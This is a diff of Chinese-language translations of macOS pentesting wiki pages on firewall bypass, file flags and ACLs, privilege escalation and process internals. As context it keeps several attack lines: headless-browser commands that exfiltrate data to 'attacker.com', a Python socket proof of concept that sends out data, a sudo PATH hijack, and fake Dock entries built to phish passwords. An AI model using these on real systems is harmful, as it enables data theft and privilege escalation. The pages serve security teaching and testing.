|
||||
|
||||
### **使用苹果签名的二进制文件**
|
||||
### **使用 Apple 签名的二进制文件**
|
||||
|
||||
- 像 **`curl`**,还有其他如 **`whois`**
|
||||
- 像 **`curl`**,还有其他如 **`whois`**。
|
||||
|
||||
### 知名苹果域名
|
||||
### 知名的苹果域名
|
||||
|
||||
防火墙可能允许连接到知名的苹果域名,如 **`apple.com`** 或 **`icloud.com`**。iCloud 可以用作 C2。
|
||||
|
||||
### 通用绕过
|
||||
|
||||
一些尝试绕过防火墙的想法
|
||||
一些尝试绕过防火墙的想法。
|
||||
|
||||
### 检查允许的流量
|
||||
|
||||
@ -53,7 +53,7 @@ end tell
|
||||
```bash
|
||||
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
- 火狐浏览器
|
||||
- 火狐
|
||||
```bash
|
||||
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
@ -74,7 +74,7 @@ macos-proces-abuse/
|
||||
## 最近的 macOS 防火墙绕过漏洞 (2023-2025)
|
||||
|
||||
### 网络内容过滤器(屏幕时间)绕过 – **CVE-2024-44206**
|
||||
在2024年7月,苹果修复了Safari/WebKit中的一个关键漏洞,该漏洞破坏了屏幕时间家长控制使用的系统范围“网络内容过滤器”。
|
||||
在2024年7月,苹果修复了Safari/WebKit中的一个关键漏洞,该漏洞破坏了屏幕时间家长控制使用的系统范围内的“网络内容过滤器”。
|
||||
一个特别构造的URI(例如,带有双重URL编码的“://”)未被屏幕时间ACL识别,但被WebKit接受,因此请求未经过滤地发送出去。任何可以打开URL的进程(包括沙盒或未签名的代码)因此可以访问用户或MDM配置文件明确阻止的域。
|
||||
|
||||
实际测试(未修补的系统):
|
||||
@ -91,9 +91,9 @@ open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
|
||||
pfctl -sr | grep quick # rules are present…
|
||||
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
|
||||
```
|
||||
### 滥用苹果签名的辅助服务(遗留 – macOS 11.2 之前)
|
||||
在 macOS 11.2 之前,**`ContentFilterExclusionList`** 允许 ~50 个苹果二进制文件,如 **`nsurlsessiond`** 和 App Store,绕过所有使用网络扩展框架(LuLu、Little Snitch 等)实现的套接字过滤防火墙。
|
||||
恶意软件可以简单地生成一个被排除的进程——或向其中注入代码——并通过已经允许的套接字隧道其自身流量。苹果在 macOS 11.2 中完全移除了排除列表,但该技术在无法升级的系统上仍然相关。
|
||||
### 滥用苹果签名的辅助服务(遗留 - macOS 11.2 之前)
|
||||
在 macOS 11.2 之前,**`ContentFilterExclusionList`** 允许大约 50 个苹果二进制文件,如 **`nsurlsessiond`** 和 App Store,绕过所有使用网络扩展框架(LuLu、Little Snitch 等)实现的套接字过滤防火墙。
|
||||
恶意软件可以简单地生成一个被排除的进程——或向其中注入代码——并通过已经允许的套接字隧道其自己的流量。苹果在 macOS 11.2 中完全移除了排除列表,但该技术在无法升级的系统上仍然相关。
|
||||
|
||||
示例概念验证(11.2 之前):
|
||||
```python
|
||||
@ -112,7 +112,7 @@ s.send(b"exfil...")
|
||||
```bash
|
||||
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
|
||||
```
|
||||
2. 枚举已经拥有 *outgoing-network* 权限的二进制文件(对搭便车很有用):
|
||||
2. 枚举已经持有 *outgoing-network* 权限的二进制文件(对搭便车很有用):
|
||||
```bash
|
||||
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
|
||||
| plutil -extract com.apple.security.network.client xml1 -o - -
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
- **/Library**: 可以在此找到许多与偏好设置、缓存和日志相关的子目录和文件。根目录和每个用户目录中都有一个 Library 文件夹。
|
||||
- **/private**: 未记录,但许多提到的文件夹是指向私有目录的符号链接。
|
||||
- **/sbin**: 重要的系统二进制文件(与管理相关)
|
||||
- **/System**: 使 OS X 运行的文件。您在这里主要会找到仅与 Apple 相关的文件(而非第三方)。
|
||||
- **/System**: 使 OS X 运行的文件。您在此处主要会找到 Apple 特定的文件(而非第三方)。
|
||||
- **/tmp**: 文件在 3 天后被删除(这是指向 /private/tmp 的软链接)
|
||||
- **/Users**: 用户的主目录。
|
||||
- **/usr**: 配置和系统二进制文件
|
||||
@ -25,7 +25,7 @@
|
||||
- **系统应用程序** 位于 `/System/Applications` 下
|
||||
- **已安装** 的应用程序通常安装在 `/Applications` 或 `~/Applications` 中
|
||||
- **应用程序数据** 可以在 `/Library/Application Support` 中找到,适用于以 root 身份运行的应用程序,以及在 `~/Library/Application Support` 中找到,适用于以用户身份运行的应用程序。
|
||||
- 需要以 root 身份运行的第三方应用程序 **守护进程** 通常位于 `/Library/PrivilegedHelperTools/`
|
||||
- 第三方应用程序 **守护进程** 需要以 root 身份运行,通常位于 `/Library/PrivilegedHelperTools/`
|
||||
- **沙盒** 应用程序映射到 `~/Library/Containers` 文件夹。每个应用程序都有一个根据应用程序的包 ID 命名的文件夹(`com.apple.Safari`)。
|
||||
- **内核** 位于 `/System/Library/Kernels/kernel`
|
||||
- **Apple 的内核扩展** 位于 `/System/Library/Extensions`
|
||||
@ -58,7 +58,7 @@ macos-installers-abuse.md
|
||||
- `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
- **`.app`**: Apple 应用程序,遵循目录结构(这是一个包)。
|
||||
- **`.dylib`**: 动态库(如 Windows DLL 文件)
|
||||
- **`.pkg`**: 与 xar(可扩展归档格式)相同。可以使用安装命令安装这些文件的内容。
|
||||
- **`.pkg`**: 与 xar(可扩展归档格式)相同。安装命令可用于安装这些文件的内容。
|
||||
- **`.DS_Store`**: 此文件位于每个目录中,保存目录的属性和自定义设置。
|
||||
- **`.Spotlight-V100`**: 此文件夹出现在系统中每个卷的根目录上。
|
||||
- **`.metadata_never_index`**: 如果此文件位于卷的根目录,Spotlight 将不会索引该卷。
|
||||
@ -75,7 +75,7 @@ macos-bundles.md
|
||||
|
||||
## Dyld 共享库缓存 (SLC)
|
||||
|
||||
在 macOS(和 iOS)中,所有系统共享库,如框架和 dylibs,**合并为一个单一文件**,称为 **dyld 共享缓存**。这提高了性能,因为代码可以更快加载。
|
||||
在 macOS(和 iOS)中,所有系统共享库,如框架和 dylibs,**合并为一个单一文件**,称为 **dyld 共享缓存**。这提高了性能,因为代码可以更快地加载。
|
||||
|
||||
在 macOS 中,这位于 `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`,在旧版本中,您可能会在 **`/System/Library/dyld/`** 中找到 **共享缓存**。\
|
||||
在 iOS 中,您可以在 **`/System/Library/Caches/com.apple.dyld/`** 中找到它们。
|
||||
@ -93,7 +93,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
# More options inside the readme
|
||||
```
|
||||
> [!TIP]
|
||||
> 请注意,即使 `dyld_shared_cache_util` 工具无法工作,您仍然可以将 **共享 dyld 二进制文件传递给 Hopper**,Hopper 将能够识别所有库并让您 **选择要调查的库**:
|
||||
> 请注意,即使 `dyld_shared_cache_util` 工具无法工作,您也可以将 **共享的 dyld 二进制文件传递给 Hopper**,Hopper 将能够识别所有库并让您 **选择要调查的库**:
|
||||
|
||||
<figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
@ -104,9 +104,9 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
|
||||
### 映射 SLC
|
||||
|
||||
**`dyld`** 使用系统调用 **`shared_region_check_np`** 来知道 SLC 是否已映射(返回地址),并使用 **`shared_region_map_and_slide_np`** 来映射 SLC。
|
||||
**`dyld`** 使用系统调用 **`shared_region_check_np`** 来知道 SLC 是否已被映射(返回地址),并使用 **`shared_region_map_and_slide_np`** 来映射 SLC。
|
||||
|
||||
请注意,即使 SLC 在第一次使用时滑动,所有 **进程** 也使用 **相同的副本**,这 **消除了 ASLR** 保护,如果攻击者能够在系统中运行进程。这在过去实际上被利用过,并通过共享区域分页器修复。
|
||||
请注意,即使 SLC 在第一次使用时被滑动,所有 **进程** 也使用 **相同的副本**,这 **消除了 ASLR** 保护,如果攻击者能够在系统中运行进程。这在过去实际上被利用过,并通过共享区域分页器修复。
|
||||
|
||||
分支池是小的 Mach-O dylibs,它在映像映射之间创建小空间,使得无法插入函数。
|
||||
|
||||
@ -115,64 +115,64 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
使用环境变量:
|
||||
|
||||
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> 这将允许加载新的共享库缓存
|
||||
- **`DYLD_SHARED_CACHE_DIR=avoid`** 并手动用指向共享缓存的符号链接替换库(您需要提取它们)
|
||||
- **`DYLD_SHARED_CACHE_DIR=avoid`** 并手动用指向共享缓存的符号链接替换库与真实库(您需要提取它们)
|
||||
|
||||
## 特殊文件权限
|
||||
|
||||
### 文件夹权限
|
||||
|
||||
在一个 **文件夹** 中,**读取** 允许 **列出它**,**写入** 允许 **删除** 和 **写入** 其中的文件,**执行** 允许 **遍历** 目录。因此,例如,具有 **文件的读取权限** 的用户在没有 **执行权限** 的目录中 **将无法读取** 该文件。
|
||||
在一个 **文件夹** 中,**读取** 允许 **列出它**,**写入** 允许 **删除** 和 **写入** 文件,**执行** 允许 **遍历** 目录。因此,例如,具有 **文件的读取权限** 的用户在一个他 **没有执行** 权限的目录中 **将无法读取** 该文件。
|
||||
|
||||
### 标志修饰符
|
||||
|
||||
文件中可以设置一些标志,使文件表现得不同。您可以使用 `ls -lO /path/directory` **检查目录中文件的标志**。
|
||||
在文件中可以设置一些标志,这将使文件表现得不同。您可以使用 `ls -lO /path/directory` **检查文件的标志**。
|
||||
|
||||
- **`uchg`**:被称为 **uchange** 标志将 **防止任何操作** 更改或删除 **文件**。要设置它,请执行:`chflags uchg file.txt`
|
||||
- root 用户可以 **删除标志** 并修改文件
|
||||
- **`restricted`**:此标志使文件受到 **SIP 保护**(您无法将此标志添加到文件)。
|
||||
- **`Sticky bit`**:如果目录具有粘滞位,**只有** 该 **目录的所有者或 root 可以重命名或删除** 文件。通常,这在 /tmp 目录上设置,以防止普通用户删除或移动其他用户的文件。
|
||||
- 根用户可以 **删除标志** 并修改文件
|
||||
- **`restricted`**:此标志使文件 **受到 SIP 保护**(您无法将此标志添加到文件)。
|
||||
- **`Sticky bit`**:如果目录具有粘滞位,**只有** 该 **目录的所有者或根用户可以重命名或删除** 文件。通常,这在 /tmp 目录上设置,以防止普通用户删除或移动其他用户的文件。
|
||||
|
||||
所有标志可以在文件 `sys/stat.h` 中找到(使用 `mdfind stat.h | grep stat.h` 查找),并且是:
|
||||
所有标志可以在文件 `sys/stat.h` 中找到(使用 `mdfind stat.h | grep stat.h` 查找)并且是:
|
||||
|
||||
- `UF_SETTABLE` 0x0000ffff:可更改的所有者标志的掩码。
|
||||
- `UF_NODUMP` 0x00000001:不转储文件。
|
||||
- `UF_IMMUTABLE` 0x00000002:文件不可更改。
|
||||
- `UF_APPEND` 0x00000004:对文件的写入只能追加。
|
||||
- `UF_OPAQUE` 0x00000008:目录在联合方面是透明的。
|
||||
- `UF_COMPRESSED` 0x00000020:文件被压缩(某些文件系统)。
|
||||
- `UF_TRACKED` 0x00000040:对于设置此标志的文件,不会有删除/重命名的通知。
|
||||
- `UF_DATAVAULT` 0x00000080:读取和写入需要权限。
|
||||
- `UF_HIDDEN` 0x00008000:提示该项不应在 GUI 中显示。
|
||||
- `SF_SUPPORTED` 0x009f0000:超级用户支持标志的掩码。
|
||||
- `SF_SETTABLE` 0x3fff0000:超级用户可更改标志的掩码。
|
||||
- `SF_SYNTHETIC` 0xc0000000:系统只读合成标志的掩码。
|
||||
- `SF_ARCHIVED` 0x00010000:文件已归档。
|
||||
- `SF_IMMUTABLE` 0x00020000:文件不可更改。
|
||||
- `SF_APPEND` 0x00040000:对文件的写入只能追加。
|
||||
- `SF_RESTRICTED` 0x00080000:写入需要权限。
|
||||
- `SF_NOUNLINK` 0x00100000:项目不可被删除、重命名或挂载。
|
||||
- `SF_FIRMLINK` 0x00800000:文件是 firmlink。
|
||||
- `SF_DATALESS` 0x40000000:文件是无数据对象。
|
||||
- `UF_SETTABLE` 0x0000ffff: 可更改的所有者标志的掩码。
|
||||
- `UF_NODUMP` 0x00000001: 不转储文件。
|
||||
- `UF_IMMUTABLE` 0x00000002: 文件不可更改。
|
||||
- `UF_APPEND` 0x00000004: 对文件的写入只能追加。
|
||||
- `UF_OPAQUE` 0x00000008: 目录在联合方面是透明的。
|
||||
- `UF_COMPRESSED` 0x00000020: 文件被压缩(某些文件系统)。
|
||||
- `UF_TRACKED` 0x00000040: 对于设置了此标志的文件,不会有删除/重命名的通知。
|
||||
- `UF_DATAVAULT` 0x00000080: 读取和写入需要权限。
|
||||
- `UF_HIDDEN` 0x00008000: 提示该项不应在 GUI 中显示。
|
||||
- `SF_SUPPORTED` 0x009f0000: 超级用户支持标志的掩码。
|
||||
- `SF_SETTABLE` 0x3fff0000: 超级用户可更改标志的掩码。
|
||||
- `SF_SYNTHETIC` 0xc0000000: 系统只读合成标志的掩码。
|
||||
- `SF_ARCHIVED` 0x00010000: 文件已归档。
|
||||
- `SF_IMMUTABLE` 0x00020000: 文件不可更改。
|
||||
- `SF_APPEND` 0x00040000: 对文件的写入只能追加。
|
||||
- `SF_RESTRICTED` 0x00080000: 写入需要权限。
|
||||
- `SF_NOUNLINK` 0x00100000: 项目不可被移除、重命名或挂载。
|
||||
- `SF_FIRMLINK` 0x00800000: 文件是一个 firmlink。
|
||||
- `SF_DATALESS` 0x40000000: 文件是无数据对象。
|
||||
|
||||
### **文件 ACLs**
|
||||
|
||||
文件 **ACLs** 包含 **ACE**(访问控制条目),可以为不同用户分配更 **细粒度的权限**。
|
||||
|
||||
可以为 **目录** 授予这些权限:`list`、`search`、`add_file`、`add_subdirectory`、`delete_child`、`delete_child`。\
|
||||
对于 **文件**:`read`、`write`、`append`、`execute`。
|
||||
可以授予 **目录** 这些权限:`list`、`search`、`add_file`、`add_subdirectory`、`delete_child`、`delete_child`。\
|
||||
而对于 **文件**:`read`、`write`、`append`、`execute`。
|
||||
|
||||
当文件包含 ACLs 时,您将 **在列出权限时找到一个 "+",如**:
|
||||
当文件包含 ACLs 时,您将在列出权限时 **看到一个 "+"**,例如:
|
||||
```bash
|
||||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
```
|
||||
您可以使用以下命令**读取文件的 ACL**:
|
||||
您可以使用以下命令**读取文件的ACL**:
|
||||
```bash
|
||||
ls -lde Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
0: group:everyone deny delete
|
||||
```
|
||||
您可以找到 **所有具有 ACL 的文件**(这非常慢):
|
||||
您可以使用(这非常慢)找到 **所有带有 ACL 的文件**:
|
||||
```bash
|
||||
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
```
|
||||
@ -187,7 +187,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
- `com.apple.FinderInfo`: MacOS: Finder 信息(例如,颜色标签)
|
||||
- `com.apple.TextEncoding`: 指定 ASCII 文本文件的文本编码
|
||||
- `com.apple.logd.metadata`: logd 在 `/var/db/diagnostics` 中使用的文件
|
||||
- `com.apple.genstore.*`: 代际存储(`/.DocumentRevisions-V100` 在文件系统根目录中)
|
||||
- `com.apple.genstore.*`: 代际存储(文件系统根目录中的 `/.DocumentRevisions-V100`)
|
||||
- `com.apple.rootless`: MacOS: 由系统完整性保护用于标记文件 (III/10)
|
||||
- `com.apple.uuidb.boot-uuid`: logd 对具有唯一 UUID 的启动时期的标记
|
||||
- `com.apple.decmpfs`: MacOS: 透明文件压缩 (II/7)
|
||||
@ -215,7 +215,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
||||
|
||||
扩展属性 `com.apple.decmpfs` 表示文件是加密存储的,`ls -l` 将报告 **大小为 0**,压缩数据存储在此属性中。每当访问该文件时,它将在内存中解密。
|
||||
|
||||
此属性可以通过 `ls -lO` 查看,标记为压缩,因为压缩文件也带有标志 `UF_COMPRESSED`。如果通过 `chflags nocompressed </path/to/file>` 删除压缩文件的此标志,系统将不知道该文件是压缩的,因此无法解压并访问数据(它会认为该文件实际上是空的)。
|
||||
可以使用 `ls -lO` 查看此属性,标记为压缩,因为压缩文件也带有标志 `UF_COMPRESSED`。如果通过 `chflags nocompressed </path/to/file>` 删除压缩文件的此标志,系统将不知道该文件是压缩的,因此无法解压并访问数据(它会认为文件实际上是空的)。
|
||||
|
||||
工具 afscexpand 可用于强制解压文件。
|
||||
|
||||
@ -246,7 +246,7 @@ macos-memory-dumping.md
|
||||
|
||||
## Log files
|
||||
|
||||
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**:包含有关下载文件的信息,例如它们的下载 URL。
|
||||
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**:包含有关下载文件的信息,例如下载来源的 URL。
|
||||
- **`/var/log/system.log`**:OSX 系统的主日志。com.apple.syslogd.plist 负责执行 syslogging(您可以通过在 `launchctl list` 中查找 "com.apple.syslogd" 来检查它是否被禁用)。
|
||||
- **`/private/var/log/asl/*.asl`**:这些是 Apple 系统日志,可能包含有趣的信息。
|
||||
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**:通过 "Finder" 存储最近访问的文件和应用程序。
|
||||
|
||||
@ -22,9 +22,9 @@ macos-security-protections/macos-tcc/
|
||||
|
||||
### Sudo 劫持
|
||||
|
||||
你可以在 [Linux 提权帖子中找到原始的 Sudo 劫持技术](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking)。
|
||||
你可以在 Linux 提权文章中找到原始的 [Sudo 劫持技巧](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking)。
|
||||
|
||||
然而,macOS **保持** 用户的 **`PATH`** 当他执行 **`sudo`** 时。这意味着实现此攻击的另一种方法是 **劫持其他二进制文件**,这些文件受害者在 **运行 sudo** 时仍会执行:
|
||||
然而,macOS **保持** 用户的 **`PATH`** 当他执行 **`sudo`** 时。这意味着实现此攻击的另一种方法是 **劫持其他二进制文件**,这些文件是受害者在 **运行 sudo** 时仍会执行的:
|
||||
```bash
|
||||
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
|
||||
cat > /opt/homebrew/bin/ls <<EOF
|
||||
@ -43,13 +43,13 @@ sudo ls
|
||||
|
||||
### Dock 冒充
|
||||
|
||||
通过一些**社会工程学**,你可以在 Dock 中**冒充例如 Google Chrome**,并实际执行你自己的脚本:
|
||||
通过一些**社会工程**,你可以在 Dock 中**冒充例如 Google Chrome**,并实际执行你自己的脚本:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Chrome Impersonation"}}
|
||||
一些建议:
|
||||
|
||||
- 在 Dock 中检查是否有 Chrome,如果有,**删除**该条目,并在 Dock 数组的**相同位置****添加****假**的**Chrome条目**。
|
||||
- 在 Dock 中检查是否有 Chrome,如果有,**删除**该条目,并在 Dock 数组的相同位置**添加****假冒**的**Chrome条目**。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@ -125,10 +125,10 @@ killall Dock
|
||||
一些建议:
|
||||
|
||||
- 你**无法从 Dock 中移除 Finder**,所以如果你要将其添加到 Dock 中,可以将假 Finder 放在真实 Finder 旁边。为此,你需要**将假 Finder 条目添加到 Dock 数组的开头**。
|
||||
- 另一个选项是不要将其放在 Dock 中,而是直接打开它,“Finder 请求控制 Finder”并不奇怪。
|
||||
- 另一个选项是**在不询问**密码的情况下提升到 root 权限,方法是让 Finder 确实要求输入密码以执行特权操作:
|
||||
- 请求 Finder 将一个新的 **`sudo`** 文件复制到 **`/etc/pam.d`**(提示要求输入密码将指示“Finder 想要复制 sudo”)
|
||||
- 请求 Finder 复制一个新的 **Authorization Plugin**(你可以控制文件名,以便提示要求输入密码将指示“Finder 想要复制 Finder.bundle”)
|
||||
- 另一个选项是不要将其放在 Dock 中,只需打开它,“Finder 请求控制 Finder”并不奇怪。
|
||||
- 另一个选项是**在不询问**密码的情况下提升到 root 权限,使用一个可怕的框,实际上让 Finder 请求密码以执行特权操作:
|
||||
- 请求 Finder 将一个新的 **`sudo`** 文件复制到 **`/etc/pam.d`**(提示请求密码将指示“Finder 想要复制 sudo”)
|
||||
- 请求 Finder 复制一个新的 **Authorization Plugin**(你可以控制文件名,以便提示请求密码将指示“Finder 想要复制 Finder.bundle”)
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@ -201,11 +201,11 @@ killall Dock
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## TCC - 根权限提升
|
||||
## TCC - Root 权限提升
|
||||
|
||||
### CVE-2020-9771 - mount_apfs TCC 绕过和权限提升
|
||||
|
||||
**任何用户**(甚至是无特权用户)都可以创建和挂载时间机器快照并**访问该快照的所有文件**。\
|
||||
**任何用户**(甚至是无特权用户)都可以创建并挂载时间机器快照,并**访问该快照的所有文件**。\
|
||||
所需的**唯一特权**是用于访问的应用程序(如 `Terminal`)必须具有**完全磁盘访问**(FDA)权限(`kTCCServiceSystemPolicyAllfiles`),该权限需要由管理员授予。
|
||||
```bash
|
||||
# Create snapshot
|
||||
@ -232,6 +232,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
||||
|
||||
这可以用于提升权限:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-files-folders-and-binaries/macos-sensitive-locations.md
|
||||
{{#endref}}
|
||||
|
||||
@ -17,32 +17,32 @@
|
||||
- `POSIX_SPAWN_START_SUSPENDED`: 启动时挂起
|
||||
- `_POSIX_SPAWN_DISABLE_ASLR`: 无 ASLR 启动
|
||||
- `_POSIX_SPAWN_NANO_ALLOCATOR:` 使用 libmalloc 的 Nano 分配器
|
||||
- `_POSIX_SPAWN_ALLOW_DATA_EXEC:` 允许数据段的 `rwx`
|
||||
- `_POSIX_SPAWN_ALLOW_DATA_EXEC:` 允许数据段上的 `rwx`
|
||||
- `POSIX_SPAWN_CLOEXEC_DEFAULT`: 默认情况下在 exec(2) 时关闭所有文件描述符
|
||||
- `_POSIX_SPAWN_HIGH_BITS_ASLR:` 随机化 ASLR 滑动的高位
|
||||
|
||||
此外,`posix_spawn` 允许指定一个 **`posix_spawnattr`** 数组,以控制生成进程的某些方面,以及 **`posix_spawn_file_actions`** 来修改描述符的状态。
|
||||
|
||||
当一个进程终止时,它会通过信号 `SIGCHLD` 将 **返回代码发送给父进程**(如果父进程已终止,则新父进程为 PID 1)。父进程需要通过调用 `wait4()` 或 `waitid()` 来获取此值,直到那时,子进程保持在僵尸状态,仍然被列出但不消耗资源。
|
||||
当进程终止时,它会向**父进程发送返回代码**(如果父进程已终止,则新父进程为 PID 1),并发送信号 `SIGCHLD`。父进程需要通过调用 `wait4()` 或 `waitid()` 来获取此值,直到那时,子进程保持在僵尸状态,仍然被列出但不消耗资源。
|
||||
|
||||
### PIDs
|
||||
|
||||
PID,进程标识符,标识一个唯一的进程。在 XNU 中,**PIDs** 是 **64 位**,单调递增且 **永不回绕**(以避免滥用)。
|
||||
PID,进程标识符,标识一个唯一的进程。在 XNU 中,**PIDs** 是 **64 位**,单调递增且**永不回绕**(以避免滥用)。
|
||||
|
||||
### 进程组、会话和联盟
|
||||
### 进程组、会话与联盟
|
||||
|
||||
**进程** 可以被插入到 **组** 中,以便更容易处理它们。例如,shell 脚本中的命令将处于同一进程组中,因此可以使用 kill 等方式 **一起发送信号**。\
|
||||
也可以 **将进程分组到会话中**。当一个进程启动一个会话(`setsid(2)`)时,子进程被设置在该会话中,除非它们启动自己的会话。
|
||||
**进程**可以被插入到**组**中,以便更容易处理。例如,shell 脚本中的命令将处于同一进程组中,因此可以使用 kill 等方式**一起发送信号**。\
|
||||
也可以**将进程分组到会话中**。当进程启动会话(`setsid(2)`)时,子进程被设置在会话内,除非它们启动自己的会话。
|
||||
|
||||
联盟是另一种在 Darwin 中分组进程的方式。加入联盟的进程可以访问池资源,共享账本或面对 Jetsam。联盟有不同的角色:领导者、XPC 服务、扩展。
|
||||
联盟是 Darwin 中另一种分组进程的方式。加入联盟的进程可以访问池资源,共享账本或面对 Jetsam。联盟有不同的角色:领导者、XPC 服务、扩展。
|
||||
|
||||
### 凭证与角色
|
||||
|
||||
每个进程都持有 **凭证**,以 **识别其在系统中的权限**。每个进程将有一个主要的 `uid` 和一个主要的 `gid`(尽管可能属于多个组)。\
|
||||
每个进程持有**凭证**,以**识别其在系统中的权限**。每个进程将有一个主要的 `uid` 和一个主要的 `gid`(尽管可能属于多个组)。\
|
||||
如果二进制文件具有 `setuid/setgid` 位,也可以更改用户和组 ID。\
|
||||
有几个函数可以 **设置新的 uids/gids**。
|
||||
有几个函数可以**设置新的 uids/gids**。
|
||||
|
||||
系统调用 **`persona`** 提供了一组 **替代** 的 **凭证**。采用一个角色会同时假定其 uid、gid 和组成员资格。在 [**源代码**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) 中可以找到该结构:
|
||||
系统调用 **`persona`** 提供了一组**替代**的**凭证**。采用一个角色会同时假定其 uid、gid 和组成员资格。在 [**源代码**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) 中可以找到该结构:
|
||||
```c
|
||||
struct kpersona_info { uint32_t persona_info_version;
|
||||
uid_t persona_id; /* overlaps with UID */
|
||||
@ -74,7 +74,7 @@ char persona_name[MAXLOGNAME + 1];
|
||||
|
||||
1. **互斥锁:**
|
||||
- **常规互斥锁 (签名: 0x4D555458):** 标准互斥锁,内存占用为 60 字节(互斥锁 56 字节,签名 4 字节)。
|
||||
- **快速互斥锁 (签名: 0x4d55545A):** 类似于常规互斥锁,但经过优化以实现更快的操作,大小也为 60 字节。
|
||||
- **快速互斥锁 (签名: 0x4d55545A):** 类似于常规互斥锁,但针对更快的操作进行了优化,大小也为 60 字节。
|
||||
2. **条件变量:**
|
||||
- 用于等待某些条件的发生,大小为 44 字节(40 字节加 4 字节签名)。
|
||||
- **条件变量属性 (签名: 0x434e4441):** 条件变量的配置属性,大小为 12 字节。
|
||||
@ -90,7 +90,7 @@ char persona_name[MAXLOGNAME + 1];
|
||||
|
||||
### 线程局部变量 (TLV)
|
||||
|
||||
**线程局部变量 (TLV)** 在 Mach-O 文件(macOS 中可执行文件的格式)的上下文中用于声明特定于 **每个线程** 的变量,以便在多线程应用程序中使用。这确保每个线程都有自己单独的变量实例,提供了一种避免冲突并维护数据完整性的方法,而无需像互斥锁那样的显式同步机制。
|
||||
**线程局部变量 (TLV)** 在 Mach-O 文件(macOS 中可执行文件的格式)的上下文中用于声明特定于 **每个线程** 的变量,以便在多线程应用程序中使用。这确保每个线程都有自己单独的变量实例,从而提供了一种避免冲突和维护数据完整性的方法,而无需像互斥锁那样的显式同步机制。
|
||||
|
||||
在 C 及相关语言中,可以使用 **`__thread`** 关键字声明线程局部变量。以下是您示例中的工作原理:
|
||||
```c
|
||||
@ -116,7 +116,7 @@ Mach-O 还提供了一个特定的 API,称为 **`tlv_atexit`**,用于管理
|
||||
#### Nice 和 Renice
|
||||
|
||||
1. **Nice:**
|
||||
- 进程的 `nice` 值是一个影响其优先级的数字。每个进程都有一个范围从 -20(最高优先级)到 19(最低优先级)的 nice 值。进程创建时的默认 nice 值通常为 0。
|
||||
- 进程的 `nice` 值是一个影响其优先级的数字。每个进程的 nice 值范围从 -20(最高优先级)到 19(最低优先级)。进程创建时的默认 nice 值通常为 0。
|
||||
- 较低的 nice 值(接近 -20)使进程更“自私”,相对于其他具有较高 nice 值的进程,给予其更多的 CPU 时间。
|
||||
2. **Renice:**
|
||||
- `renice` 是一个用于更改已运行进程的 nice 值的命令。这可以用于动态调整进程的优先级,基于新的 nice 值增加或减少其 CPU 时间分配。
|
||||
@ -124,24 +124,24 @@ Mach-O 还提供了一个特定的 API,称为 **`tlv_atexit`**,用于管理
|
||||
|
||||
#### 服务质量 (QoS) 类
|
||||
|
||||
QoS 类是处理线程优先级的更现代的方法,特别是在支持 **Grand Central Dispatch (GCD)** 的 macOS 等系统中。QoS 类允许开发人员根据任务的重要性或紧急性将工作 **分类** 为不同级别。macOS 根据这些 QoS 类自动管理线程优先级:
|
||||
QoS 类是处理线程优先级的更现代的方法,特别是在支持 **Grand Central Dispatch (GCD)** 的系统中。QoS 类允许开发人员根据任务的重要性或紧急性将工作 **分类** 为不同级别。macOS 根据这些 QoS 类自动管理线程优先级:
|
||||
|
||||
1. **用户交互:**
|
||||
- 此类用于当前与用户交互或需要立即结果以提供良好用户体验的任务。这些任务被赋予最高优先级,以保持界面的响应性(例如,动画或事件处理)。
|
||||
2. **用户发起:**
|
||||
- 用户发起并期望立即结果的任务,例如打开文档或单击需要计算的按钮。这些任务优先级高,但低于用户交互。
|
||||
2. **用户启动:**
|
||||
- 用户启动并期望立即结果的任务,例如打开文档或单击需要计算的按钮。这些任务优先级高,但低于用户交互。
|
||||
3. **实用程序:**
|
||||
- 这些任务是长时间运行的,通常显示进度指示器(例如,下载文件、导入数据)。它们的优先级低于用户发起的任务,不需要立即完成。
|
||||
- 这些任务是长时间运行的,通常显示进度指示器(例如,下载文件、导入数据)。它们的优先级低于用户启动的任务,不需要立即完成。
|
||||
4. **后台:**
|
||||
- 此类用于在后台运行且对用户不可见的任务。这些可以是索引、同步或备份等任务。它们的优先级最低,对系统性能的影响最小。
|
||||
|
||||
使用 QoS 类,开发人员不需要管理确切的优先级数字,而是专注于任务的性质,系统会相应优化 CPU 资源。
|
||||
